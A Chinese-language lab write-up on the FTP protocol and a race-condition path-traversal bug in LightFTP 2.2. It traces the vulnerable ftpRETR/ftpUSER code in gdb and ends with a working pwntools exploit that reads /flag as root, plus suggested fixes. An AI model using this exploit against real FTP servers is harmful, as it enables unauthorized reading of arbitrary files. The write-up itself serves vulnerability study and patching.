FTP协议介绍 FTP简介 FTP协议:是TCP/IP协议组中的协议之一。FTP协议包括两个组成,其一为FTP服务器,其二为FTP客户端。其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。
FTP工作原理 FTP的核心工作原理:双连接模式
FTP作为一个应用层协议,其独特之处在于它使用两个独立的TCP连接来完成文件传输任务:
控制连接(Control Connection) :这是整个FTP会话期间一直保持连接的通道。 它用于在客户端和服务器之间传输命令和服务器的响应信息。
数据连接(Data Connection) :这是一个临时的连接,仅在需要传输文件数据(如上传、下载文件或获取目录列表)时创建。
图示工作成功流程:
这张图展示的是建立控制连接 并完成用户身份验证的步骤。
建立连接 (Connecting Port 21)
客户端首先向FTP服务器的21号端口 发起连接请求,这个端口是专门用于FTP控制连接的。
服务器就绪响应 (220 FTP Server v1.0)
服务器接收到连接请求后,会返回一个以”220”开头的响应码。这表示服务器已经准备就绪,可以接受客户端的命令了。图中的 “220 FTP Server v1.0” 明确地告知客户端,对方是一个1.0版本的FTP服务器。
客户端发送用户名 (USER )
客户端接收到服务器的就绪信息后,会发送USER
命令,后面跟着用户的登录名(图中示例为myname
)。
服务器要求输入密码 (331 USER command OK, password required)
服务器收到用户名后,如果该用户存在,会返回一个”331”的响应码。这个响应码的含义是“用户名正确,需要输入密码”。
客户端发送密码 (PASS )
客户端接着发送PASS
命令,后面附上用户的密码(图中示例为mypass
)。
登录成功 (230 User logged in success)
服务器验证密码无误后,会返回”230”响应码,表示用户已成功登录。 此时,控制连接上的身份验证过程全部完成,客户端就可以开始发送其他命令,如请求文件列表、上传或下载文件了。
这张图的核心信息是:FTP协议是通过在TCP连接上发送明文命令来进行交互的。
我们来分层解读这张截图中的信息:
顶层文字描述 :
“通信数据包: ” - 标题,说明了图片内容。
“FTP 是基于 TCP/IP 协议实现的,通过拦截数据包可以得知,其通过发送特定命令字进行交互 ” - 这句话是核心概括。它点明了:
基础协议 : FTP 运行在可靠的 TCP/IP 协议之上。
工作方式 : FTP 客户端和服务器之间是通过发送特定的命令(如 USER, PASS, LIST 等)和接收响应来进行通信的。
可被“看”到 : 因为命令是明文的,所以用抓包工具可以直接看到通信内容。
TCP 协议层信息 :
截图中间部分展示了这是个TCP数据包。
TCP payload (16 bytes) : 这表示TCP数据段中承载的应用层数据(也就是FTP命令)大小为16个字节。
FTP 协议层信息 (重点) :
File Transfer Protocol (FTP) : 抓包工具已经智能地识别出TCP包里装的是FTP协议的数据。
被红色圆圈圈出的部分是关键 :
Request command: USER : 这清晰地表明,这个数据包里包含的是一个FTP的 USER 命令。这个命令用于向服务器指定用户名。
Request arg: anonymous : 这是 USER 命令的参数,即用户名是 “anonymous”(匿名)。这说明客户端正在尝试进行一次匿名FTP登录。
USER anonymous\r\n : 这是在网络中传输的原始命令字符串。\r\n 是回车和换行的组合,在FTP协议中用来标记一行命令的结束。
**主动模式:**服务器主动连接主机传输文件
**被动模式:**服务器开放指定端口,主机向其发起连接
FTP常用命令字
ABOR - 放弃先前的FTP命令和数据传输
LIST - 列表显示文件或目录
PASS - 服务器上的密码
QUIT - 从服务器退出
RETR - 检索(取)一个文件
STOR - 存储(放)一个文件
SYST - 服务器返回系统类型
USER - 服务器上用户名
RETR命令字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int ftpRETR (PFTPCONTEXT context, const char *params) { if (context->Access == FTP_ACCESS_NOT_LOGGED_IN) return sendstring(context, error530); ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof (context->FileName), context->FileName); while (stat(context->FileName, &filestats) == 0 ) { if (S_ISDIR(filestats.st_mode)) break ; sendstring(context, interm150); writelogentry(context, "RETR: " , (char *)params); context->WorkerThreadValid = pthread_create(&tid, NULL , (void * (*)(void *))retr_thread, context); } }
FTP协议实战 初步配置 从官方下载源代码这里使用的是lightftp-2.2
我们要调试源代码解压后进入Source的debug里面,执行make
后目录如下:
1 2 3 le0n:Debug/ $ ls cfgparse.d fftp fspathtools.o ftpconst.o ftpserv.o main.o objects.mk subdir.mk x_malloc.o cfgparse.o fspathtools.d ftpconst.d ftpserv.d main.d makefile sources.mk x_malloc.d
将这个fftp
程序复制下来放到lightftp目录的bin目录下
在bin目录下有一个fftp.conf
这个是ftp服务器的配置文件,在bin目录里面创建一个logfile
用touch logfile
,修改配置文件中logfilepath=/home/user/fftplog
为创建的这个logfile的路径如/home/le0n/study/ftp/LightFTP-2.2/Bin/logfile
创建一个ftpshare
最后的代码改为如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [anonymous] pswd=* accs=readonly root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare [uploader] pswd=Weakuploaderpassword111 accs=upload root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare [webadmin] pswd=VeryStrongadminpassword222 accs=admin root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare
在ftpshare中创建一个demo文件,并写入一段字,如testfile
启动服务器 完成前面的操作后就可以启动ftp服务器了,在bin目录下执行
运行后出现如下就相当于启动起来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 le0n:Bin/ $ sudo ./fftp [20:18:32] [sudo ] password for le0n: [ LightFTP server v2.2 ] Log file : /home/le0n/study/ftp/LightFTP-2.2/Bin/logfile Working dir : /home/le0n/study/ftp/LightFTP-2.2/Bin Config file : /home/le0n/study/ftp/LightFTP-2.2/Bin/fftp.conf Interface ipv4 : 0.0.0.0 Interface mask : 255.255.255.0 External ipv4 : 123.45.67.89 Port : 21 Max users : 10 PASV port range : 1024..65535 TYPE q or Ctrl+C to terminate > 05-08-2025 20:18:40 : 220 LightFTP server ready
然后新开一个终端连接ftp,执行ftp 0.0.0.0
这里的用户名是配置文件中的anonymous
,密码是*
1 2 3 4 5 6 7 8 9 10 le0n:~/ $ ftp 0.0.0.0 Connected to 0.0.0.0. 220 LightFTP server ready Name (0.0.0.0:le0n): anonymous 331 User anonymous OK. Password required Password: 230 User logged in , proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp>
在对应的控制台也可以看到日志用户登陆了
执行ls
既可以看到我们放在ftpshare
中(ftp的根目录)的文件demo
help
就可以看到我们可以使用的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ftp> help Commands may be abbreviated. Commands are: ! cr ftp macdef msend prompt restart sunique $ debug gate mdelete newer proxy rhelp system account delete get mdir nlist put rmdir tenex append dir glob mget nmap pwd rstatus throttle ascii disconnect hash mkdir ntrans quit runique trace bell edit help mls open quote send type binary epsv idle mlsd page rate sendport umask bye epsv4 image mlst passive rcvbuf set unset case epsv6 lcd mode pdir recv site usagecd exit less modtime pls reget size usercdup features lpage more pmlsd remopts sndbuf verbose chmod fget lpwd mput preserve rename status xferbufclose form ls mreget progress reset struct ? ftp>
执行get demo
就可以下载这个demo文件了
到这里环境搭建和测试基本完成
漏洞分析 这里是一个条件竞争漏洞导致了路径穿越,可以下载
漏洞链 具体位置位于ftplight-2.2的源码的ftpserv.c
的750行
1 ftpRETR() --> retrthread() --> create_datasocket() --> swith语句等待接收 --> 在ftpRETR中的循环并没有结束,思考context是否能够改写
具体原因:ftpUSER()中的snprintf(),在程序阻塞时可以再次修改filename并没有任何检查可以下载符合路径的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int ftpRETR (PFTPCONTEXT context, const char *params) { struct stat filestats ; pthread_t tid; if (context->Access == FTP_ACCESS_NOT_LOGGED_IN) return sendstring(context, error530); if (context->WorkerThreadValid == 0 ) return sendstring(context, error550_t ); if ( params == NULL ) return sendstring(context, error501); if ( context->File != -1 ) { close(context->File); context->File = -1 ; } ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof (context->FileName), context->FileName); while (stat(context->FileName, &filestats) == 0 ) { if ( S_ISDIR(filestats.st_mode) ) break ; sendstring(context, interm150); writelogentry(context, " RETR: " , (char *)params); context->WorkerThreadAbort = 0 ; pthread_mutex_lock(&context->MTLock); context->WorkerThreadValid = pthread_create(&tid, NULL , (void * (*)(void *))retr_thread, context); return sendstring(context, error550); }
跟踪进入retr_thread()函数
1 2 3 4 5 6 7 8 9 10 void *retr_thread (PFTPCONTEXT context) { buffer = malloc (TRANSMIT_BUFFER_SIZE); while (buffer != NULL ) { clientsocket = create_datasocket(context); if (clientsocket == INVALID_SOCKET) break ;
跟进create_datasocket()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 SOCKET create_datasocket (PFTPCONTEXT context) { SOCKET clientsocket = INVALID_SOCKET; struct sockaddr_in laddr ; socklen_t asz; memset (&laddr, 0 , sizeof (laddr)); switch ( context->Mode ) { case MODE_NORMAL: clientsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); context->DataSocket = clientsocket; if ( clientsocket == INVALID_SOCKET ) return INVALID_SOCKET; laddr.sin_family = AF_INET; laddr.sin_port = context->DataPort; laddr.sin_addr.s_addr = context->DataIPv4; if ( connect(clientsocket, (const struct sockaddr *)&laddr, sizeof (laddr)) == -1 ) { close(clientsocket); return INVALID_SOCKET; } break ; case MODE_PASSIVE: asz = sizeof (laddr); clientsocket = accept(context->DataSocket, (struct sockaddr *)&laddr, &asz); close(context->DataSocket); context->DataSocket = clientsocket; if ( clientsocket == INVALID_SOCKET ) return INVALID_SOCKET; context->DataIPv4 = 0 ; context->DataPort = 0 ; context->Mode = MODE_NORMAL; break ; default : return INVALID_SOCKET; } return clientsocket; }
那么这里在等待用户连接时,它原来的进程会阻塞直到用户的连接到来为止。
回到retr_thread()函数中672行左右
1 2 3 4 f = open(context->FileName, O_RDONLY); context->File = f; if (f == -1 ) break ;
这里在前面create_datasocket()执行过后open()了context->Filename
,那我们可以思考一下这个context能否被改写,在同一个用户的连接过程中若能够改写这里的context的Filename,那他就不会是前面ftp_effective_path()
规整过的路径。
导致的具体原因来自ftpUSER()函数 ,在253行左右
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int ftpUSER (PFTPCONTEXT context, const char *params) { if ( params == NULL ) return sendstring(context, error501); context->Access = FTP_ACCESS_NOT_LOGGED_IN; writelogentry(context, " USER: " , (char *)params); snprintf (context->FileName, sizeof (context->FileName), "331 User %s OK. Password required\r\n" , params); sendstring(context, context->FileName); strcpy (context->FileName, params); return 1 ; }
若RETR线程里面while()仍在循环且位于阻塞时(即等待用户连接),我们通过ftpUSER的snprintf来改变这个context->Filename
再回到循环中就会执行open()函数,使得只要这个filename合法(可以找到)就可以取任意的下载文件
因为ftp是通过21端口交流的,这个端口需要有root权限,所以这个open()也是root权限以至于我们能够下载任意文件
gdb调试 在root模式下用gdb调试一下这个完整的登录流程
给我们想要观察的函数下断点(这里可能在gdb中调试着客户端那边就断开连接,可以一次断一个观察)
b ftpUSER
b ftpPASS
b ftpRETR
然后执行r
运行这个程序,新建一个终端使用ftp去登陆它
在这里跟进后找到了为什么总是断开连接的原因?
因为我的ftp服务端开的被动模式。
如何调整,直接在客户端执行passive即可(且每一次建立会话时都默认被动模式)
1 2 3 >root:Bin/ >ftp> passive >Passive mode: off; fallback to active mode: off.
在ftp连接后且登录上,执行这个passive或PASV
,切换为主动模式
注:在调试过程中可能会有exp运行后在gdb中并没有出现调试界面,稍等一会重新操作即可
断入ftpUSER 用户名:anonymous
,密码:*
输入用户名后回车,回到gdb页面就可以看到gdb中运行到ftpUSER(),如图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int ftpUSER (PFTPCONTEXT context, const char *params) { if ( params == NULL ) return sendstring(context, error501); context->Access = FTP_ACCESS_NOT_LOGGED_IN; writelogentry(context, " USER: " , (char *)params); snprintf (context->FileName, sizeof (context->FileName), "331 User %s OK. Password required\r\n" , params); sendstring(context, context->FileName); strcpy (context->FileName, params); return 1 ; }
断入ftpPASS 还是在源码中加上gdb注释来理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int ftpPASS (PFTPCONTEXT context, const char *params) { char temptext[256 ]; if ( params == NULL ) return sendstring(context, error501); memset (temptext, 0 , sizeof (temptext)); if (!config_parse(g_cfg.ConfigFile, context->FileName, "pswd" , temptext, sizeof (temptext))) return sendstring(context, error530_r); if ( (strcmp (temptext, params) == 0 ) || (temptext[0 ] == '*' ) ) { memset (context->RootDir, 0 , sizeof (context->RootDir)); memset (temptext, 0 , sizeof (temptext)); config_parse(g_cfg.ConfigFile, context->FileName, "root" , context->RootDir, sizeof (context->RootDir)); config_parse(g_cfg.ConfigFile, context->FileName, "accs" , temptext, sizeof (temptext)); context->Access = FTP_ACCESS_NOT_LOGGED_IN; do { if ( strcasecmp(temptext, "admin" ) == 0 ) { context->Access = FTP_ACCESS_FULL; break ; } if ( strcasecmp(temptext, "upload" ) == 0 ) { context->Access = FTP_ACCESS_CREATENEW; break ; } if ( strcasecmp(temptext, "readonly" ) == 0 ) { context->Access = FTP_ACCESS_READONLY; break ; } return sendstring(context, error530_b); } while (0 ); writelogentry(context, " PASS->successful logon" , "" ); } else return sendstring(context, error530_r); return sendstring(context, success230); }
这里可以再次输入时,执行PASV
断在ftpRETR 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root:~/ Connected to 0.0.0.0. 220 LightFTP server ready Name (0.0.0.0:root): anonymous 331 User anonymous OK. Password required Password: 230 User logged in , proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||23091|) 150 File status okay; about to open data connection. -rw-r--r-- 1 1000 1000 9 Aug 05 19:41 demo 226 Transfer complete. Closing data connection. ftp> get demo local : demo remote: demo229 Entering Extended Passive Mode (|||33242|)
执行get demo
后gdb即可进入到ftpRETR()中
在gdb中执行过ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);
这里时查看文件路径变量的变化
1 2 3 4 5 6 7 pwndbg> p context -> FileName $2 = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare/demo" , '\000' <repeats 8140 times >pwndbg> p context -> RootDir $3 = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare" , '\000' <repeats 4049 times >pwndbg> p params $4 = 0x7ffff6f42c45 "demo"
且这个ftp_effective_path()函数是没有问题的,还可以保证它没有问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 while (stat(context->FileName, &filestats) == 0 ) { if ( S_ISDIR(filestats.st_mode) ) break ; sendstring(context, interm150); writelogentry(context, " RETR: " , (char *)params); context->WorkerThreadAbort = 0 ; pthread_mutex_lock(&context->MTLock); context->WorkerThreadValid = pthread_create(&tid, NULL , (void * (*)(void *))retr_thread, context); return sendstring(context, error550); }
进入retr_thread单步执行到while循环处
1 2 3 4 5 6 7 8 9 10 void *retr_thread (PFTPCONTEXT context) { buffer = malloc (TRANSMIT_BUFFER_SIZE); while (buffer != NULL ) { clientsocket = create_datasocket(context);
跟进后执行到switch语句处,可以看到这里进入了主动模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 switch ( context->Mode ) { case MODE_NORMAL: clientsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); context->DataSocket = clientsocket; if ( clientsocket == INVALID_SOCKET ) return INVALID_SOCKET; laddr.sin_family = AF_INET; laddr.sin_port = context->DataPort; laddr.sin_addr.s_addr = context->DataIPv4; if ( connect(clientsocket, (const struct sockaddr *)&laddr, sizeof (laddr)) == -1 ) { close(clientsocket); return INVALID_SOCKET; } break ; case MODE_PASSIVE: asz = sizeof (laddr); clientsocket = accept(context->DataSocket, (struct sockaddr *)&laddr, &asz); close(context->DataSocket); context->DataSocket = clientsocket; if ( clientsocket == INVALID_SOCKET ) return INVALID_SOCKET; context->DataIPv4 = 0 ; context->DataPort = 0 ; context->Mode = MODE_NORMAL; break ; default : return INVALID_SOCKET; } return clientsocket; }
然后程序就会回到retr_thread线程中,open()文件读取到缓冲区,然后发送给用户。
这基本就是ftp主动模式完整流程.
漏洞利用 触发漏洞 这里我们用python的pwn库进行交互,接下来需要用到三个终端页面(1,2,3)
在bin目录下写exp.py进行测试
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level = 'debug' def send_code (code ): p.sendline(code+"\r" ) p = remote('0.0.0.0' ,21 ) send_code("USER anonymous" ) send_code("PASS *" ) p.interactive()
在终端1以root权限gdb启动./fftp
,再回到终端2执行这个exp.py,登陆上即测试成功
在根目录下创建一个flag,这是我们越界的目标,最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = 'debug' def send_code (code ): p.sendline(code+"\r" ) p = remote('0.0.0.0' ,21 ) send_code("USER anonymous" ) send_code("PASS *" ) send_code("PASV" ) send_code("RETR demo" ) pause() send_code("USER /flag" ) p.interactive()
开始调试触发漏洞
在终端1中以root权限gdb ./fftp,并在retr_thread处下断点b retr_thread
,然后r
运行起来
如图:
来到终端2,运行exp.py,再回到终端1进行调试,
一直走到这个create_datasocket
这个位置,再回车一下程序会发生阻塞。
然后回到终端2中回车使exp.py继续运行
我们可以发现图中有一个127.0.0.1 189 155
这里的189,155给他转为十六进制为BD、9B(每次程序运行都可能不一样)拼接在一起得到一个十进制数:48539。
在终端3中执行 nc 127.0.0.1 48539,这时我们再回到终端1可以发现gdb程序跳出阻塞
在gdb中继续单步步过程序
执行p *context
就可以看到 context->FileName 中的内容变为/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> p *context $1 = { ... CurrentDir = "/" , '\000' <repeats 4094 times >, RootDir = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare" , '\000' <repeats 4049 times >, RnFrom = '\000' <repeats 4095 times >, FileName = "/flag\000er /flag OK. Password required\r\n\000tpshare/demo" , '\000' <repeats 8140 times >, TLS_session = 0x0, Stats = { DataRx = 0, DataTx = 0, FilesRx = 0, FilesTx = 0 } }
在gdb中执行c
,再回到终端3中就可以看到在主机根目录下的flag
原理 在程序阻塞时通过nc这个等待连接的端口使程序可以继续运行,但在退出阻塞继续运行之前通过USER /flag
使context->FileName中的内容发生了改变(条件竞争),也就是在程序在等待(阻塞)时运行了USER /flag
在ftpUSER中snprintf()之前有没有检查就导致了这个函数成功运行修改了context->FileName中的内容,又有一个访问使程序退出阻塞正常运行就可以进行路径穿越任意读取了。
修复
在程序阻塞处恢复运行后对于context->FileName
加检查
在context中添加字段使ftpUSER中的snprintf()的对象不为FileName,或者rter_thread线程中的对象不为FilrName
总结 在实际的漏洞挖掘中要能耐心的啃代码,看透代码的功能并十分了解,注意一些全局变量